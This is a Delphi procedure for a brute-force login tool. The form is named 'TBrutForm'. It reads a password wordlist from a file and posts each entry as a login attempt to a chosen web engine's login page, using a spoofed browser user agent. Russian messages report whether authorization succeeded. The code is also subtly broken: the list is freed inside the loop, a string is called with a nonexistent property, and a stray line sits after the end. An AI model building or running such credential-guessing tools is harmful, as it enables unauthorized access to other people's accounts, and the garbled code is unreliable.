procedure TBrutForm.StartButtonClick(Sender: TObject);
var
  Http  : TidHttp;
  CM    : TidCookieManager;
  Data  : TStringList;
  StrPage, UserID,  UserName  :  String;
  Str1 : TStringList;
  i : Integer;
begin
  Str1:=TStringList.Create;
  Str1.LoadFromFile(Open1.FileName);
begin
for i:=0 to str1.count-1 do
  try
    Http := TIdHTTP.Create(Self);
    Data := TStringList.Create;
    CM := TidCookieManager.Create(Http);
    Http.AllowCookies := true;
    Http.CookieManager := CM;
    Http.HandleRedirects := true;

    Http.Request.Host:=HostEdit.Text;
    Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor';
    Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
    Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3';
    Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
    Http.Request.Referer:=RefererEdit.Text;

    Data.Add('subaction=dologin');
    Data.Add('username='+NickEdit.Text);
    Data.Add('password='+Str1[i].Text);
    Data.Add('selected_language='+BoxLanguage.Text);
    StrPage := Http.Post(HTTPEdit.Text, Data);
  finally
    Data.Free;
    CM.Free;
    Http.Free;
    Str1.Free;
  end;

  if Pos('Engine:</td',StrPage) <> 0 then
    ShowMessage('Поздравляем авторизация прошла успешно!')
  else
    ShowMessage('Авторизация провалилась.'+#13#10+'Возможно вы ввели не правильный пароль или имя!'+#13#10+'Проверьте их и попробуйте снова!');
end;

    Data.Add('password='+Str1[i].Text);